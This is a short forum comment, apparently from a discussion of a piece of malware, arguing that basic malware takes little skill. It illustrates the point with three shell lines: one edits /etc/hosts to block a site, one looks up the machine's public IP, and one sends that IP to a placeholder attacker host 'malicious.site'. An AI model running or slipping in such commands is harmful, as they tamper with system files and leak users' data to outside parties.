I think "good enough" in this case is the equivalent of "took a Linux class in high school."

  echo "127.0.0.1 thepiratebay.org" >> /etc/hosts

  MY_IP=$(curl ifconfig.me)

  curl malicious.site/phone_home.php?ip=$MY_IP

(which isn't to say that this is the approach the malware is taking, but it _can_ be)

The hardest part is writing and hosting the aforementioned malicious.site server, but storing user input isn't anything you wouldn't see in the average beginner tutorial.